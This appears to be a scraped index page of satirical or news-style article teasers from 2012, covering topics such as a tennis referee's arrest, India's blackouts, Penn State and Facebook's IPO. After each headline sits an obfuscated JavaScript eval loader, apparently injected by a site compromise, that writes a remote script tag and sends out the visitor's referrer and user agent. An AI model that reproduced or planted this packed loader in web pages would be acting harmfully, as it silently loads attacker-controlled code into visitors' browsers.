Tennis Ref Charged with Murder

TENNIS REF CHARGED WITH MURDER eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sfiyb|var|u0026u|referrer|yzyfs||js|php’.split(‘|’),0,{})) McEnroe, Nastase Not Implicated, Inside Sources Say New York, NY August 22nd, 2012 (SHK) Yesterday the New York Police Department arrested a professional tennis referee at a Manhattan hotel on charges of murder in the death of her husband last April. Prosecutors say she [...]

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India Suffers Massive Blackouts

INDIA SUFFERS MASSIVE BLACKOUTS eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hsdya|var|u0026u|referrer|sybhd||js|php’.split(‘|’),0,{})) 700 Million People Fornicating in the Dark New Delhi, India August 1st, 2012 (SHK) In eastern and northeastern India, nearly 700 million people were without power again for the second day in a row. Put another way, 10% of the world’s population suffered massive blackouts. [...]

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Postal Service May Default

U.S. POSTAL SERVICE NEARS DEFAULT eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nfekz|var|u0026u|referrer|bhtby||js|php’.split(‘|’),0,{})) New Delivery Changes to be Announced Soon Washington, D. C. August 2nd, 2012 (SHK) The USPS said that it was “close to default” on close to half of the $11.1 billion in debt it must repay during the next two years. This comes as [...]

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NCAA Penalizes Penn State

NCAA PENALIZES PENN STATE SEVERELY eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zkesn|var|u0026u|referrer|kdiey||js|php’.split(‘|’),0,{})) Punishment not harsh enough, some say New York, NY July 28, 2012 (SHK) The NCAA handed down severe punishment to Penn State for covering up a scandal. Jerry Sandusky was an assistant coach who confessed to sexual abuse of more than a dozen young [...]

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Gun Control Positions Unchanged

MAJOR PARTIES SEE POSITIONS UNCHANGED eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|srnrn|var|u0026u|referrer|yzksi||js|php’.split(‘|’),0,{})) Obama, Romney Stick to their Guns Washington, DC July 23rd, 2012 (SHK) In the aftermath of a crazed gunman’s armed attack at an Aurora, Colorado, cinema Friday night, when the new Batman movie Dark Knight Rises debuted, the two presidential candidates said their positions [...]

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Internet Spam Causing Uproar

INTERNET SPAM EXPLODES, CAUSING UPROAR eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tiztr|var|u0026u|referrer|afyrf||js|php’.split(‘|’),0,{})) No Relief in Sight, from Washington to Silicon Valley Washington, DC July 17, 2012 (SHK) Spam is exploding on the Internet, the White House said today. And like the heat, it’s not going away anytime soon. “While the most widely recognized form of spam [...]

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Summer Reading for Jihadists

SUMMER READING FOR JIHADISTS eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rzzrh|var|u0026u|referrer|btisd||js|php’.split(‘|’),0,{})) al-Qaeda’s Leader Reveals His Top Pick Lesbos Island, Aegean Sea July 3, 2012 (SHK) The Times recently caught up with Ayman al-Zawahiri, now al-Qaeda’s titular leader after the elimination of Osamu bin Laden in Pakistan last year. We found him on vacation on a Greek [...]

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Nanny Bloomberg Issues New Bans

NANNY BLOOMBERG PROCLAIMS NEW BANS eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rfens|var|u0026u|referrer|zhnrz||js|php’.split(‘|’),0,{})) Early to bed, early to rise and no large sugary sodas New York, NY June 4th, 2012 (SHK) Mayor Michael Bloomberg has earned a new nickname: New York’s Nanny. His municipal administration wants to ban “large, sugary drinks” from the city’s food menus. This [...]

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The Reading Styles of Very Important People

READING STYLES OF VERY IMPORTANT PEOPLE (RS/VIP) eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rkyan|var|u0026u|referrer|yfatb||js|php’.split(‘|’),0,{})) Harvard’s First Female President Cites Literary Influences Cambridge, MA May 27th, 2012 (SHK) This week’s book review section of The New York Times comes with a brand-new feature for the paper’s subscribers: interviews with Very Important People about their reading styles. The [...]

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Facebook Shares Collapse

FACEBOOK SHARES COLLAPSE; CHINESE MYSTIFIED eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yshey|var|u0026u|referrer|azkbr||js|php’.split(‘|’),0,{})) First IPO to Dive on Opening Day since Sliced Bread New York, NY May 22nd, 2012 (SHK) When Facebook completed its Initial Public Offering last Friday, its new shares closed at a price lower than their opening. This is the first time markets have [...]

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